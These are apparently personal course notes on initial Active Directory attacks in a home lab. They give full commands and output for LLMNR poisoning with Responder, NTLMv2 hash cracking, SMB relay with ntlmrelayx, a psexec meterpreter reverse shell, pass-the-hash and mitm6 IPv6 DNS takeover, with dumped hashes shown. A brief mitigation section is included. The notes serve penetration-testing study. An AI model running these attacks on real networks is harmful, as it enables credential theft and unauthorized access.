🏠 Home BlogGitHub📚 Buy Me a Book

AD - Initial Attack Vectors

LLMNR Poisoning

➡️ LLMNR (Link-Local Multicast Name Resolution) protocol (NetBIOS / NBT-NS successor) allows hosts to perform name resolution for hosts on the same local network without requiring a DNS server.

  • When a host DNS query fails -> the host broadcast an LLMNR query across the local network

    • An attacker can listen for these queries and respond to them with its IP to redirect traffic, leading to relay attacks and credentials theft (username & NTLM hash)

LLMNR Posoning - tcm-sec.com

Responder

➡️ Responder - LMNR, NBT-NS and MDNS poisoner

  • HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server

  • Supports NTLMv1/NTLMv2/LMv2 with Extended Security NTLMSSP

  • Built-in HTTP and HTTPS auth servers

  • Built-in MSSQL auth server

  • ... more ...

# (Re)-Install
sudo apt autoremove --purge responder -y && sudo apt autoclean
sudo rm -rf /usr/share/responder/
sudo apt install responder -y
sudo responder -I eth0 -dPv

  • Login to THEPUNISHER VM with fcastle user and try to open WinExplorer and navigate to \\192.168.31.131 (Kali IP)

  • An event occurs and triggers LLMNR

    • victim's username and password NTLMv2 hash received

NTLMv2 Crack

  • Save the hash into a hashes.txt file and try to crack it

mkdir -p ~/tcm/peh/ad-attacks
cd ~/tcm/peh/ad-attacks

nano hashes.txt
# Paste the entire hash here
# e.g.
fcastle::MARVEL:326a2463163fdc3c:F7960DB37F933089E086898EC14E6C78:01010000000000008056A8C737E1DA012259B2C298FAD80B00000000020008004400530035004E0001001E00570049004E002D0058004B00300049004C0054004B0049004B004200560004003400570049004E002D0058004B00300049004C0054004B0049004B00420056002E004400530035004E002E004C004F00430041004C00030014004400530035004E002E004C004F00430041004C00050014004400530035004E002E004C004F00430041004C00070008008056A8C737E1DA0106000400020000000800300030000000000000000100000000200000904D97995337C0F1A56FEF978A82D6E80397E74EE021151E600DB10AC038DF7B0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00330031002E003100330031000000000000000000

# Run hashcat
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --show
Cracked password

SMB Relay

➡️ SMB (Server Message Block) is a network file sharing protocol. Common in Windows, it allows shared access to files and printers. However, when unsecured and paired with NTLM authentication, it becomes a target to relay attacks.

  • Attackers intercept and relay SMB authentication attempts to another server, impersonating the user and exploiting SMB due to lack of SMB signing, gaining unauthorized access

  • Requirements:

    • SMB signing disabled or not enforced

    • Relayed user must have local admin credentials

    • Credentials cannot be relayed to the same machine

Identify the hosts without SMB signing.

nmap --script=smb2-security-mode.nse -p445 192.168.31.90-93 -Pn
-------------------------------------------------------------
Nmap scan report for hydra-dc.MARVEL.local (192.168.31.90)
Host is up (0.00034s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

-------------------------------------------------------------
Nmap scan report for spiderman.MARVEL.local (192.168.31.92)
Host is up (0.00045s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

-------------------------------------------------------------
Nmap scan report for thepunisher.MARVEL.local (192.168.31.93)
Host is up (0.00038s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

  • SMB signing is not enforced (default setting for Windows workstations)

# Check on Windows - cmd
reg query HKLM\System\CurrentControlSet\Services\LanManServer\Parameters | findstr /I securitysignature

  • Create a targets.txt file with the gathered targets

echo -e "192.168.31.92\n192.168.31.93" > targets.txt

  • Setup Responder configuration file

sudo nano /etc/responder/Responder.conf
# Switch Off SMB and HTTP
SMB = Off
...
HTTP = Off
...
# Run Responder
sudo responder -I eth0 -dPv

ntlmrelayx.py

➡️ ntlmrelayx.py - This module performs the SMB Relay attacks to many target protocols (SMB, MSSQL, LDAP, etc).

  • Setup the NTLM relay

  • (ntlmrelayx.py is older version installed via PimpMyKali)

sudo ntlmrelayx.py -tf targets.txt -smb2support

  • Login to THEPUNISHER VM with fcastle user and try to open WinExplorer and navigate to \\192.168.31.131 (Kali IP)

  • An event occurs and triggers LLMNR, is captured by responder, passed to ntlmrelayx with relays the credentials to the targets in our targets.txt file

  • The local SAM hashes are dumped from SPIDERMAN and automatically saved into the 192.168.31.92_samhashes.sam file

# SPIDERMAN - 192.168.31.92 SAM Hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60d1d3dc4291fca471e146c798f8d603:::
peterparker:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

  • Try to start an interactive shell via ntlmrelayx.py

sudo ntlmrelayx.py -tf targets.txt -smb2support -i
# trigger the event in the Windows VM

[...]
[*] Authenticating against smb://192.168.31.92 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
# Bind to the the SMB shell
nc 127.0.0.1 11000
# Execute commands

sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# trigger the event in the Windows VM

msfconsole - shell access

msfconsole
search psexec
use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.31.93
set smbdomain MARVEL.local
set smbuser fcastle
set smbpass Password1
show targets # proceed with Automatic

run
background
sessions
session 1
# Do the hash attack

# Set SMB user to a local user
set smbuser administrator
unset smbdomain
set smbpass aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
run

psexec.py - shell access

➡️ psexec.py

# Login with password
psexec.py MARVEL.local/fcastle:'Password1'@192.168.31.93
psexec.py MARVEL.local/fcastle:@192.168.31.93

# Login with hash
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f

IPv6 DNS Takeover

mitm6

➡️ mitm6 - exploits the default Windows config to take over the default DNS server by replying to DHCPv6 messages, providing the victim with a link-local IPv6 address and setting the attacker's host as default DNS server

  • Setup the relay attack

sudo ntlmrelayx.py -6 -t ldaps://hydra-dc.MARVEL.local -wh fakewpad.MARVEL.local -l lootme
# Run in another dedicated terminal
sudo mitm6 -d MARVEL.local

  • Reboot THEPUNISHER VM and check the ntlmrelayx.py output

  • Go to ~/tcm/peh/ad-attacks/lootme directory

    • the files contain data about domain users, computers, groups, policies, etc

  • Login to THEPUNISHER using the MARVEL\administrator and check the successful attack

    • User bkVKFfXduD has been created

Mitigation

Mitigate IPv6 poisoning:

  • Block DHCPv6 traffic and router advertisements in Windows Firewall using Group Policy

  • Use specific rules:

    • (Inbound) Core Networking - DHCPv6-In

    • (Inbound) Core Networking - ICMPv6-In

    • (Outbound) Core Networking - DHCPv6-Out

Disable WPAD if not in use:

  • Use Group Policy and disable WinHttpAutoProxySvc service

Mitigate LDAP/LDAPS relaying:

  • Enable both LDAP signing and LDAP channel binding

Protect administrative accounts:

  • Consider marking accounts as sensitive or adding them to the Protected Users group to prevent delegation and impersonation

Pass-Back Attack

Check this article for more information about the attack - How to Hack Through a Pass-Back Attack: MFP Hacking Guide

  • MFPs (Multi-Function Peripherals - printers, copiers) are often overlooked targets but can be exploited for serious security breaches

  • Pass-Back Attack - involves redirecting MFP's LDAP authentication to a malicious server to capture user credentials

  • Tools like PRET can be used to access MFP settings.

  • High-risk, low-effort - exploiting MFPs can yield sensitive data with minimal effort.

https://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet
PreviousActive Directory LabNextAD - Post-Compromise Enumeration

Last updated

Was this helpful?